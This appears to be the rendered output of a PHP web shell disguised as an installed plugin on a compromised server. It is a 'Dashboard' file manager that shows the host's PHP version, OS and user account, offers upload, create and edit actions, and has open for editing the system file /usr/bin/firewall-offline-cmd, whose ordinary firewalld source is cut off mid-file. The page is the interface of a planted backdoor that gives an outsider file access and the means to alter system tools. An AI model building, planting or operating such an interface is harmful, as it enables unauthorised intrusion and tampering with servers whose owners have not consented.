{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 22:32:38"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: firewall-offline-cmd</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/firewall-offline-cmd">
                    <textarea name="edit_content">#!/usr/bin/python3 -s
# -*- coding: utf-8 -*-
#
# Copyright (C) 2009-2016 Red Hat, Inc.
#
# Authors:
# Thomas Woerner &lt;twoerner@redhat.com&gt;
# Jiri Popelka &lt;jpopelka@redhat.com&gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#

from gi.repository import GObject
import sys
sys.modules[&#039;gobject&#039;] = GObject

import argparse
import os

from firewall.client import FirewallClientIPSetSettings, \
    FirewallClientZoneSettings, FirewallClientServiceSettings, \
    FirewallClientIcmpTypeSettings, FirewallClientHelperSettings, \
    FirewallClientPolicySettings
from firewall.errors import FirewallError
from firewall import config
from firewall.core.fw import Firewall
from firewall.functions import joinArgs, splitArgs, getPortRange
from firewall.core.io.functions import check_on_disk_config
from firewall.core.io.zone import zone_reader
from firewall.core.io.policy import policy_reader
from firewall.core.io.service import service_reader
from firewall.core.io.ipset import ipset_reader
from firewall.core.io.icmptype import icmptype_reader
from firewall.core.io.helper import helper_reader
from firewall.command import FirewallCommand

# check for root user
def assert_root():
    if os.getuid() != 0:
        sys.stderr.write(&quot;You need to be root to run %s.\n&quot; % sys.argv[0])
        sys.exit(-1)

SYSTEM_CONFIG_FIREWALL = config.SYSCONFIGDIR + &#039;/system-config-firewall&#039;

def __usage():
    sys.stdout.write(&quot;&quot;&quot;
Usage: firewall-offline-cmd [OPTIONS...]

If no options are given, configuration from &#039;%s&#039; will be migrated.

General Options
  -h, --help           Prints a short help text and exits
  -V, --version        Print the version string of firewalld
  -q, --quiet          Do not print status messages
      --system-config  Path to firewalld system configuration
      --default-config Path to firewalld default configuration
      --check-config   Check system and default configuration
      --reset-to-defaults
                       Reset configuration to firewalld&#039;s default configuration

Lokkit Compatibility Options
  --migrate-system-config-firewall=&lt;file&gt;
                        Import configuration data from the given configuration
                        file.
  --enabled             Enable firewall (default)
  --disabled            Disable firewall
  --addmodule=&lt;module&gt;  Ignored option, was used to enable an iptables module
  --removemodule=&lt;module&gt;
                        Ignored option, was used to disable an iptables module
  -s &lt;service&gt;, --service=&lt;service&gt;
                        Enable a service in the default zone (example: ssh)
  --remove-service=&lt;service&gt;
                        Disable a service in the default zone (example: ssh)
  -p &lt;port&gt;[-&lt;port&gt;]:&lt;protocol&gt;, --port=&lt;port&gt;[-&lt;port&gt;]:&lt;protocol&gt;
                        Enable a port in the default zone (example: ssh:tcp)
  -t &lt;interface&gt;, --trust=&lt;interface&gt;
                        Bind an interface to the trusted zone
  -m &lt;interface&gt;, --masq=&lt;interface&gt;
                        Enables masquerading in the default zone, interface
                        argument is ignored. This is IPv4 only.
  --custom-rules=[&lt;type&gt;:][&lt;table&gt;:]&lt;filename&gt;
                        Ignored option. Was used to add custom rules to the
                        firewall (Example:
                        ipv4:filter:%s/ipv4_filter_addon)
  --forward-port=if=&lt;interface&gt;:port=&lt;port&gt;:proto=&lt;protocol&gt;[:toport=&lt;destination port&gt;][:toaddr=&lt;destination address&gt;]
                        Forward the port with protocol for the interface to
                        either another local destination port (no destination
                        address given) or to an other destination address with
                        an optional destination port. This will be added to
                        the default zone. This is IPv4 only.
  --block-icmp=&lt;icmp type&gt;
                        Block this ICMP type in the default zone. The default
                        is to accept all ICMP types.

Log Denied Options
  --get-log-denied     Print the log denied value
  --set-log-denied=&lt;value&gt;
                       Set log denied value

Automatic Helpers Options
  --get-automatic-helpers
                       Print the automatic helpers value
  --set-automatic-helpers=&lt;value&gt;
                       Set automatic helpers value

Zone Options
  --get-default-zone   Print default zone for connections and interfaces
  --set-default-zone=&lt;zone&gt;
                       Set default zone
  --get-zones          Print predefined zones
  --get-services       Print predefined services
  --get-icmptypes      Print predefined icmptypes
  --get-zone-of-interface=&lt;interface&gt;
                       Print name of the zone the interface is bound to
  --get-zone-of-source=&lt;source&gt;[/&lt;mask&gt;]|&lt;MAC&gt;|ipset:&lt;ipset&gt;
                       Print name of the zone the source is bound to
  --list-all-zones     List everything added for or enabled in all zones
  --new-zone=&lt;zone&gt;    Add a new empty zone
  --new-zone-from-file=&lt;filename&gt; [--name=&lt;zone&gt;]
                       Add a new zone from file with optional name override [P only]
  --delete-zone=&lt;zone&gt; Delete an existing zone
  --load-zone-defaults=&lt;zone&gt;
                       Load zone default settings
  --zone=&lt;zone&gt;        Use this zone to set or query options, else default zone
                       Usable for options marked with [Z]
  --info-zone=&lt;zone&gt;   Print information about a zone
  --path-zone=&lt;zone&gt;   Print file path of a zone

Policy Options
  --get-policies       Print predefined policies
  --list-all-policies  List everything added for or enabled in all policies
  --new-policy=&lt;policy&gt;
                       Add a new empty policy
  --new-policy-from-file=&lt;filename&gt; [--name=&lt;policy&gt;]
                       Add a new policy from file with optional name override [P only]
  --delete-policy=&lt;policy&gt;
                       Delete an existing policy
  --load-policy-defaults=&lt;policy&gt;
                       Load policy default settings
  --policy=&lt;policy&gt;    Use this policy to set or query options
                       Usable for options marked with [O]
  --info-policy=&lt;policy&gt;
                       Print information about a policy
  --path-policy=&lt;policy&gt;
                       Print file path of a policy

IPSet Options
  --new-ipset=&lt;ipset&gt; --type=&lt;ipset type&gt; [--option=&lt;key&gt;[=&lt;value&gt;]]..
                       Add a new empty ipset
  --new-ipset-from-file=&lt;filename&gt; [--name=&lt;ipset&gt;]
                       Add a new ipset from file with optional name override [P only]
  --delete-ipset=&lt;ipset&gt;
                       Delete an existing ipset
  --load-ipset-defaults=&lt;ipset&gt;
                       Load ipset default settings
  --info-ipset=&lt;ipset&gt; Print information about an ipset
  --path-ipset=&lt;ipset&gt; Print file path of an ipset
  --get-ipsets         Print predefined ipsets
  --ipset=&lt;ipset&gt; --set-description=&lt;description&gt;
                       Set new description to ipset
  --ipset=&lt;ipset&gt; --get-description
                       Print description for ipset
  --ipset=&lt;ipset&gt; --set-short=&lt;description&gt;
                       Set new short description to ipset
  --ipset=&lt;ipset&gt; --get-short
                       Print short description for ipset
  --ipset=&lt;ipset&gt; --add-entry=&lt;entry&gt;
                       Add a new entry to an ipset
  --ipset=&lt;ipset&gt; --remove-entry=&lt;entry&gt;
                       Remove an entry from an ipset
  --ipset=&lt;ipset&gt; --query-entry=&lt;entry&gt;
                       Return whether ipset has an entry
  --ipset=&lt;ipset&gt; --get-entries
                       List entries of an ipset
  --ipset=&lt;ipset&gt; --add-entries-from-file=&lt;entry&gt;
                       Add a new entries to an ipset
  --ipset=&lt;ipset&gt; --remove-entries-from-file=&lt;entry&gt;
                       Remove entries from an ipset

IcmpType Options
  --new-icmptype=&lt;icmptype&gt;
                       Add a new empty icmptype
  --new-icmptype-from-file=&lt;filename&gt; [--name=&lt;icmptype&gt;]
                       Add a new icmptype from file with optional name override [P only]
  --delete-icmptype=&lt;icmptype&gt;
                       Delete an existing icmptype
  --load-icmptype-defaults=&lt;icmptype&gt;
                       Load icmptype default settings
  --info-icmptype=&lt;icmptype&gt;
                       Print information about an icmptype
  --path-icmptype=&lt;icmptype&gt;
                       Print file path of an icmptype
  --icmptype=&lt;icmptype&gt; --set-description=&lt;description&gt;
                       Set new description to icmptype
  --icmptype=&lt;icmptype&gt; --get-description
                       Print description for icmptype
  --icmptype=&lt;icmptype&gt; --set-short=&lt;description&gt;
                       Set new short description to icmptype
  --icmptype=&lt;icmptype&gt; --get-short
                       Print short description for icmptype
  --icmptype=&lt;icmptype&gt; --add-destination=&lt;ipv&gt;
                       Enable destination for ipv in icmptype
  --icmptype=&lt;icmptype&gt; --remove-destination=&lt;ipv&gt;
                       Disable destination for ipv in icmptype
  --icmptype=&lt;icmptype&gt; --query-destination=&lt;ipv&gt;
                       Return whether destination ipv is enabled in icmptype
  --icmptype=&lt;icmptype&gt; --get-destinations
                       List destinations in icmptype

Service Options
  --new-service=&lt;service&gt;
                       Add a new empty service
  --new-service-from-file=&lt;filename&gt; [--name=&lt;service&gt;]
                       Add a new service from file with optional name override [P only]
  --delete-service=&lt;service&gt;
                       Delete an existing service
  --load-service-defaults=&lt;service&gt;
                       Load icmptype default settings
  --info-service=&lt;service&gt;
                       Print information about a service
  --path-service=&lt;service&gt;
                       Print file path of a service
  --service=&lt;service&gt; --set-description=&lt;description&gt;
                       Set new description to service
  --service=&lt;service&gt; --get-description
                       Print description for service
  --service=&lt;service&gt; --set-short=&lt;description&gt;
                       Set new short description to service
  --service=&lt;service&gt; --get-short
                       Print short description for service
  --service=&lt;service&gt; --add-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Add a new port to service
  --service=&lt;service&gt; --remove-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Remove a port from service
  --service=&lt;service&gt; --query-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Return whether the port has been added for service
  --service=&lt;service&gt; --get-ports
                       List ports of service
  --service=&lt;service&gt; --add-protocol=&lt;protocol&gt;
                       Add a new protocol to service
  --service=&lt;service&gt; --remove-protocol=&lt;protocol&gt;
                       Remove a protocol from service
  --service=&lt;service&gt; --query-protocol=&lt;protocol&gt;
                       Return whether the protocol has been added for service
  --service=&lt;service&gt; --get-protocols
                       List protocols of service
  --service=&lt;service&gt; --add-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Add a new source port to service
  --service=&lt;service&gt; --remove-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Remove a source port from service
  --service=&lt;service&gt; --query-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Return whether the source port has been added for service [P only]
  --service=&lt;service&gt; --get-source-ports
                       List source ports of service
  --service=&lt;service&gt; --add-helper=&lt;helper&gt;
                       Add a new helper to service
  --service=&lt;service&gt; --remove-helper=&lt;helper&gt;
                       Remove a helper from service
  --service=&lt;service&gt; --query-helper=&lt;helper&gt;
                       Return whether the helper has been added for service
  --service=&lt;service&gt; --get-service-helpers
                       List helpers of service
  --service=&lt;service&gt; --set-destination=&lt;ipv&gt;:&lt;address&gt;[/&lt;mask&gt;]
                       Set destination for ipv to address in service
  --service=&lt;service&gt; --remove-destination=&lt;ipv&gt;
                       Disable destination for ipv i service
  --service=&lt;service&gt; --query-destination=&lt;ipv&gt;:&lt;address&gt;[/&lt;mask&gt;]
                       Return whether destination ipv is set for service
  --service=&lt;service&gt; --get-destinations
                       List destinations in service
  --service=&lt;service&gt; --add-include=&lt;service&gt;
                       Add a new include to service
  --service=&lt;service&gt; --remove-include=&lt;service&gt;
                       Remove a include from service
  --service=&lt;service&gt; --query-include=&lt;service&gt;
                       Return whether the include has been added for service
  --service=&lt;service&gt; --get-includes
                       List includes of service

Options to Adapt and Query Zones and Policies
  --list-all           List everything added for or enabled [Z] [O]
  --set-description=&lt;description&gt;
                       Set new description [Z] [O]
  --get-description    Print description [Z] [O]
  --get-target         Get the target [Z] [O]
  --set-target=&lt;target&gt;
                       Set the target [Z] [O]
  --set-short=&lt;description&gt;
                       Set new short description to zone [Z] [O]
  --get-short          Print short description for zone [Z] [O]
  --list-services      List services added [Z] [O]
  --add-service=&lt;service&gt;
                       Add a service [Z] [O]
  --remove-service-from-zone=&lt;service&gt;
                       Remove a service from a zone [Z]
  --remove-service-from-policy=&lt;service&gt;
                       Remove a service from a policy [O]
  --query-service=&lt;service&gt;
                       Return whether service has been added [Z] [O]
  --list-ports         List ports added [Z] [O]
  --add-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Add the port [Z] [O]
  --remove-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Remove the port [Z] [O]
  --query-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Return whether the port has been added [Z] [O]
  --list-protocols     List protocols added [Z] [O]
  --add-protocol=&lt;protocol&gt;
                       Add the protocol [Z] [O]
  --remove-protocol=&lt;protocol&gt;
                       Remove the protocol [Z] [O]
  --query-protocol=&lt;protocol&gt;
                       Return whether the protocol has been added [Z] [O]
  --list-source-ports  List source ports added [Z] [O]
  --add-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Add the source port [Z] [O]
  --remove-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Remove the source port [Z] [O]
  --query-source-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Return whether the source port has been added [Z] [O]
  --list-icmp-blocks   List Internet ICMP type blocks added [Z] [O]
  --add-icmp-block=&lt;icmptype&gt;
                       Add an ICMP block [Z] [O]
  --remove-icmp-block=&lt;icmptype&gt;
                       Remove the ICMP block [Z] [O]
  --query-icmp-block=&lt;icmptype&gt;
                       Return whether an ICMP block has been added [Z] [O]
  --list-forward-ports List IPv4 forward ports added [Z] [O]
  --add-forward-port=port=&lt;portid&gt;[-&lt;portid&gt;]:proto=&lt;protocol&gt;[:toport=&lt;portid&gt;[-&lt;portid&gt;]][:toaddr=&lt;address&gt;[/&lt;mask&gt;]]
                       Add the IPv4 forward port [Z] [O]
  --remove-forward-port=port=&lt;portid&gt;[-&lt;portid&gt;]:proto=&lt;protocol&gt;[:toport=&lt;portid&gt;[-&lt;portid&gt;]][:toaddr=&lt;address&gt;[/&lt;mask&gt;]]
                       Remove the IPv4 forward port [Z] [O]

Options to Adapt and Query Zones
  --add-icmp-block-inversion
                       Enable inversion of icmp blocks for a zone [Z]
  --remove-icmp-block-inversion
                       Disable inversion of icmp blocks for a zone [Z]
  --query-icmp-block-inversion
                       Return whether inversion of icmp blocks has been enabled
                       for a zone [Z]
  --add-forward        Enable forwarding of packets between interfaces and
                       sources in a zone [Z]
  --remove-forward     Disable forwarding of packets between interfaces and
                       sources in a zone [Z]
  --query-forward      Return whether forwarding of packets between interfaces
                       and sources has been enabled for a zone [Z]

Options to Adapt and Query Policies
  --get-priority       Get the priority [O]
  --set-priority=&lt;priority&gt;
                       Set the priority [O]
  --list-ingress-zones
                       List ingress zones that are bound to a policy [O]
  --add-ingress-zone=&lt;zone&gt;
                       Add the ingress zone to a policy [O]
  --remove-ingress-zone=&lt;zone&gt;
                       Remove the ingress zone from a policy [O]
  --query-ingress-zone=&lt;zone&gt;
                       Query whether the ingress zone has been adedd to a
                       policy [O]
  --list-egress-zones
                       List egress zones that are bound to a policy [O]
  --add-egress-zone=&lt;zone&gt;
                       Add the egress zone to a policy [O]
  --remove-egress-zone=&lt;zone&gt;
                       Remove the egress zone from a policy [O]
  --query-egress-zone=&lt;zone&gt;
                       Query whether the egress zone has been adedd to a
                       policy [O]

Options to Handle Bindings of Interfaces
  --list-interfaces    List interfaces that are bound to a zone [Z]
  --add-interface=&lt;interface&gt;
                       Bind the &lt;interface&gt; to a zone [Z]
  --change-interface=&lt;interface&gt;
                       Change zone the &lt;interface&gt; is bound to [Z]
  --query-interface=&lt;interface&gt;
                       Query whether &lt;interface&gt; is bound to a zone [Z]
  --remove-interface=&lt;interface&gt;
                       Remove binding of &lt;interface&gt; from a zone [Z]

Options to Handle Bindings of Sources
  --list-sources       List sources that are bound to a zone [Z]
  --add-source=&lt;source&gt;[/&lt;mask&gt;]|&lt;MAC&gt;|ipset:&lt;ipset&gt;
                       Bind the source to a zone [Z]
  --change-source=&lt;source&gt;[/&lt;mask&gt;]|&lt;MAC&gt;|ipset:&lt;ipset&gt;
                       Change zone the source is bound to [Z]
  --query-source=&lt;source&gt;[/&lt;mask&gt;]|&lt;MAC&gt;|ipset:&lt;ipset&gt;
                       Query whether the source is bound to a zone [Z]
  --remove-source=&lt;source&gt;[/&lt;mask&gt;]|&lt;MAC&gt;|ipset:&lt;ipset&gt;
                       Remove binding of the source from a zone [Z]

Helper Options
  --new-helper=&lt;helper&gt; --module=&lt;module&gt; [--family=&lt;family&gt;]
                       Add a new helper
  --new-helper-from-file=&lt;filename&gt; [--name=&lt;helper&gt;]
                       Add a new helper from file with optional name
  --delete-helper=&lt;helper&gt;
                       Delete an existing helper
  --load-helper-defaults=&lt;helper&gt;
                       Load helper default settings
  --info-helper=&lt;helper&gt; Print information about an helper
  --path-helper=&lt;helper&gt; Print file path of an helper
  --get-helpers         Print predefined helpers
  --helper=&lt;helper&gt; --set-description=&lt;description&gt;
                       Set new description to helper
  --helper=&lt;helper&gt; --get-description
                       Print description for helper
  --helper=&lt;helper&gt; --set-short=&lt;description&gt;
                       Set new short description to helper
  --helper=&lt;helper&gt; --get-short
                       Print short description for helper
  --helper=&lt;helper&gt; --add-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Add a new port to helper
  --helper=&lt;helper&gt; --remove-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Remove a port from helper
  --helper=&lt;helper&gt; --query-port=&lt;portid&gt;[-&lt;portid&gt;]/&lt;protocol&gt;
                       Return whether the port has been added for helper
  --helper=&lt;helper&gt; --get-ports
                       List ports of helper
  --helper=&lt;helper&gt; --set-module=&lt;module&gt;
                       Set module to helper
  --helper=&lt;helper&gt; --get-module
                       Get module from helper
  --helper=&lt;helper&gt; --set-family={ipv4|ipv6|}
                       Set family for helper
  --helper=&lt;helper&gt; --get-family
                       Get module from helper

Direct Options
  --direct             First option for all direct options
  --get-all-chains
                       Get all chains
  --get-chains {ipv4|ipv6|eb} &lt;table&gt;
                       Get all chains added to the table
  --add-chain {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt;
                       Add a new chain to the table
  --remove-chain {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt;
                       Remove the chain from the table
  --query-chain {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt;
                       Return whether the chain has been added to the table
  --get-all-rules
                       Get all rules
  --get-rules {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt;
                       Get all rules added to chain in table
  --add-rule {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;arg&gt;...
                       Add rule to chain in table
  --remove-rule {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;arg&gt;...
                       Remove rule with priority from chain in table
  --remove-rules {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt;
                       Remove rules from chain in table
  --query-rule {ipv4|ipv6|eb} &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;arg&gt;...
                       Return whether a rule with priority has been added to
                       chain in table
  --get-all-passthroughs
                       Get all passthrough rules
  --get-passthroughs {ipv4|ipv6|eb} &lt;arg&gt;...
                       Get passthrough rules
  --add-passthrough {ipv4|ipv6|eb} &lt;arg&gt;...
                       Add a new passthrough rule
  --remove-passthrough {ipv4|ipv6|eb} &lt;arg&gt;...
                       Remove a passthrough rule
  --query-passthrough {ipv4|ipv6|eb} &lt;arg&gt;...
                       Return whether the passthrough rule has been added

Lockdown Options
  --lockdown-on        Enable lockdown.
  --lockdown-off       Disable lockdown.
  --query-lockdown     Query whether lockdown is enabled

Lockdown Whitelist Options
  --list-lockdown-whitelist-commands
                       List all command lines that are on the whitelist
  --add-lockdown-whitelist-command=&lt;command&gt;
                       Add the command to the whitelist
  --remove-lockdown-whitelist-command=&lt;command&gt;
                       Remove the command from the whitelist
  --query-lockdown-whitelist-command=&lt;command&gt;
                       Query whether the command is on the whitelist
  --list-lockdown-whitelist-contexts
                       List all contexts that are on the whitelist
  --add-lockdown-whitelist-context=&lt;context&gt;
                       Add the context context to the whitelist
  --remove-lockdown-whitelist-context=&lt;context&gt;
                       Remove the context from the whitelist
  --query-lockdown-whitelist-context=&lt;context&gt;
                       Query whether the context is on the whitelist
  --list-lockdown-whitelist-uids
                       List all user ids that are on the whitelist
  --add-lockdown-whitelist-uid=&lt;uid&gt;
                       Add the user id uid to the whitelist
  --remove-lockdown-whitelist-uid=&lt;uid&gt;
                       Remove the user id uid from the whitelist
  --query-lockdown-whitelist-uid=&lt;uid&gt;
                       Query whether the user id uid is on the whitelist
  --list-lockdown-whitelist-users
                       List all user names that are on the whitelist
  --add-lockdown-whitelist-user=&lt;user&gt;
                       Add the user name user to the whitelist
  --remove-lockdown-whitelist-user=&lt;user&gt;
                       Remove the user name user from the whitelist
  --query-lockdown-whitelist-user=&lt;user&gt;
                       Query whether the user name user is on the whitelist

Polkit Options
  --policy-server      Change Polkit actions to &#039;server&#039;  (more restricted)
  --policy-desktop     Change Polkit actions to &#039;desktop&#039; (less restricted)

&quot;&quot;&quot; % (SYSTEM_CONFIG_FIREWALL, config.SYSCONFIGDIR))

def parse_port_lokkit(value):
    try:
        (port, proto) = value.split(&quot;:&quot;)
    except Exception:
        cmd.fail(&quot;bad port (most likely missing protocol), correct syntax is portid[-portid]:protocol&quot;)
    return (port, proto)

def pk_symlink(product=&#039;server&#039;):
    _PK_DIR = &#039;/usr/share/polkit-1/actions/&#039;
    _PK_NAME = &#039;org.fedoraproject.FirewallD1.&#039;
    os.chdir(_PK_DIR)
    if os.path.isfile(_PK_NAME+product+&#039;.policy.choice&#039;):
        if os.path.isfile(_PK_NAME+&#039;policy&#039;):
            os.remove(_PK_NAME+&#039;policy&#039;)
        os.symlink(_PK_NAME+product+&#039;.policy.choice&#039;, _PK_NAME+&#039;policy&#039;)
        cmd.print_and_exit(&#039;symlink &#039;+_PK_DIR+_PK_NAME+product+&#039;.policy.choice -&gt; &#039;+_PK_NAME+&#039;policy&#039;)
    else:
        cmd.fail(&#039;no such file &#039;+_PK_DIR+_PK_NAME+product+&#039;.policy.choice&#039;)

# system-config-firewall
def read_sysconfig_args(config_file=SYSTEM_CONFIG_FIREWALL):
    filename = None
    if os.path.exists(config_file) and os.path.isfile(config_file):
        filename = config_file
    try:
        f = open(filename, &#039;r&#039;)
    except Exception:
        return None
    argv = [ ]
    for line in f:
        if not line:
            break
        line = line.strip()
        if len(line) &lt; 1 or line[0] == &#039;#&#039;:
            continue
        argv.append(line)
    f.close()
    return argv

parser = argparse.ArgumentParser(usage=&quot;see firewall-offline-cmd man page&quot;,
                                 add_help=False)

parser_group_output = parser.add_mutually_exclusive_group()
parser_group_output.add_argument(&quot;-v&quot;, &quot;--verbose&quot;, action=&quot;store_true&quot;)
parser_group_output.add_argument(&quot;-q&quot;, &quot;--quiet&quot;, action=&quot;store_true&quot;)

parser_group_lokkit = parser.add_argument_group()
parser_group_lokkit.add_argument(&quot;--enabled&quot;, action=&quot;store_true&quot;)
parser_group_lokkit.add_argument(&quot;--disabled&quot;, action=&quot;store_true&quot;)
parser_group_lokkit.add_argument(&quot;--addmodule&quot;, metavar=&quot;&lt;module&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--removemodule&quot;, metavar=&quot;&lt;module&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--service&quot;, &quot;-s&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--remove-service&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--port&quot;, &quot;-p&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--trust&quot;, &quot;-t&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--masq&quot;, &quot;-m&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--custom-rules&quot;, metavar=&quot;&lt;filename&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--forward-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_lokkit.add_argument(&quot;--block-icmp&quot;, metavar=&quot;&lt;icmptype&gt;&quot;, action=&#039;append&#039;)

parser.add_argument(&quot;--system-config&quot;, metavar=&quot;path&quot;)
parser.add_argument(&quot;--default-config&quot;, metavar=&quot;path&quot;)
parser.add_argument(&quot;--check-config&quot;, action=&quot;store_true&quot;)

parser_group_standalone = parser.add_mutually_exclusive_group()
parser_group_standalone.add_argument(&quot;-h&quot;, &quot;--help&quot;,
                                     action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;-V&quot;, &quot;--version&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--get-log-denied&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--set-log-denied&quot;, metavar=&quot;&lt;value&gt;&quot;)
parser_group_standalone.add_argument(&quot;--get-automatic-helpers&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--set-automatic-helpers&quot;, metavar=&quot;&lt;value&gt;&quot;)
